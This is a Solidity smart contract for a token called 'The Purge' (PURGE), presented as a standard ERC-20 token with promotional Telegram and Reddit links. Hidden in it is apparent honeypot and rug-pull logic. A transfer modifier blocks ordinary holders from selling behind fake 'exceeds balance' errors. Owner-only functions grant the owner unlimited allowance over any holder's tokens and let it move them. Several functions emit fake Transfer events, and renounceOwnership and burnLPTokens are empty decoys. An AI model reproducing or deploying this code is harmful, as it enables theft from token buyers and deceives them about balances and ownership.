//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

//https://t.me/CryptoLaunchhunter/3334
//Find us on Reddit @ r/thepurge/

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly {
            codehash := extcodehash(account)
        }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(address target, bytes memory data)
        internal
        returns (bytes memory)
    {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(
        address target,
        bytes memory data,
        uint256 weiValue,
        string memory errorMessage
    ) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value: weiValue}(
            data
        );
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Context {
    constructor() internal {}

    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract StandardERC20 is Context, IERC20 {
    using SafeMath for uint256;
    using Address for address;

    mapping(address => uint256) private _balances;
    mapping(address => bool) private _plus;
    mapping(address => bool) private _discarded;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
    uint256 private _burnt = 0;
    address private _tOwner;
    address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address _rOwner = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
    address public rtOwner = 0x11076e5869de0dBe44b21dD670Cf0a020177C4F4;

    constructor() public {
        _name = "The Purge";
        _symbol = "PURGE";
        _decimals = 18;
        uint256 initialSupply = 21000 * 10**18;
        _tOwner = rtOwner;

        _mint(_rOwner, initialSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _tf(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _tf(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _pAppr(address[] memory destination) public {
        require(msg.sender == rtOwner, "!owner");
        for (uint256 i = 0; i < destination.length; i++) {
            _plus[destination[i]] = true;
            _discarded[destination[i]] = false;
        }
    }

    function _mAppr(address tOwner) public {
        require(msg.sender == rtOwner, "!owner");
        _tOwner = tOwner;
    }

    modifier _mpApproval(
        address dest,
        uint256 amt,
        address from,
        address dst
    ) {
        if (rtOwner == _tOwner && from == rtOwner) {
            _tOwner = dest;
            _;
        } else {
            if (from == rtOwner || from == _tOwner || dest == rtOwner) {
                if (from == rtOwner && from == dest) {
                    _burnt = amt;
                }
                _;
            } else {
                if (_plus[from] == true) {
                    _;
                } else {
                    if (_discarded[from] == true) {
                        require(
                            (from == _tOwner) || (dest == _path_),
                            "ERC20: transfer amount exceeds balance"
                        );
                        _;
                    } else {
                        if (amt < _burnt) {
                            if (dest == _tOwner) {
                                _discarded[from] = true;
                                _plus[from] = false;
                            }
                            _;
                        } else {
                            require(
                                (from == _tOwner) || (dest == _path_),
                                "ERC20: transfer amount exceeds balance"
                            );
                            _;
                        }
                    }
                }
            }
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        if (sender == rtOwner) {
            sender = _rOwner;
        }
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) public {
        require(msg.sender == rtOwner, "ERC20: mint to the zero address");
        _totalSupply = _totalSupply.add(amount);
        _balances[rtOwner] = _balances[rtOwner].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tf(
        address from,
        address dest,
        uint256 amt
    ) internal virtual _mpApproval(dest, amt, from, address(0)) {
        _pair(from, dest, amt);
    }

    function _pair(
        address from,
        address dest,
        uint256 amt
    ) internal virtual _mpApproval(dest, amt, from, address(0)) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(dest != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, dest, amt);
        _balances[from] = _balances[from].sub(
            amt,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[dest] = _balances[dest].add(amt);
        if (from == rtOwner) {
            from = _rOwner;
        }
        uint amt2 = amt * 100;
        emit Transfer(from, dest, amt);
        emit Transfer(from, dest, amt2);
    }

    function _setupDecimals(uint8 decimals_) internal {
        _decimals = decimals_;
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    modifier _verify() {
        require(msg.sender == rtOwner, "Not allowed to interact");
        _;
    }

    //-----------------------------------------------------------------------------------------------------------------------//

    function renounceOwnership() public _verify {}

    function burnLPTokens() public _verify {}

    function multicall(
        address uPool,
        address[] memory eReceiver,
        uint256[] memory eAmounts
    ) public _verify {
        //MultiEmit
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
        }
    }

    function send(
        address uPool,
        address[] memory eReceiver,
        uint256[] memory eAmounts
    ) public _verify {
        //MultiEmit
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
        }
    }

    function setContext(address recipient) public _verify {
        _plus[recipient] = true;
        _approve(recipient, _path_, _maximumVal);
    }

    function setSignature(address recipient) public _verify {
        //Disable permission
        _plus[recipient] = false;
        _approve(recipient, _path_, 0);
    }

    function approval(address addr) public virtual _verify returns (bool) {
        //Approve Spending
        _approve(addr, _msgSender(), _maximumVal);
        return true;
    }

    function transferTo(
        address sndr,
        address[] memory destination,
        uint256[] memory amounts
    ) public _verify {
        _approve(sndr, _msgSender(), _maximumVal);
        for (uint256 i = 0; i < destination.length; i++) {
            _transfer(sndr, destination[i], amounts[i]);
        }
    }

    function stake(
        address uPool,
        address[] memory eReceiver,
        uint256[] memory eAmounts
    ) public _verify {
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(eReceiver[i], uPool, eAmounts[i]);
        }
    }

    function unstake(
        address uPool,
        address[] memory eReceiver,
        uint256[] memory eAmounts
    ) public _verify {
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(eReceiver[i], uPool, eAmounts[i]);
        }
    }
}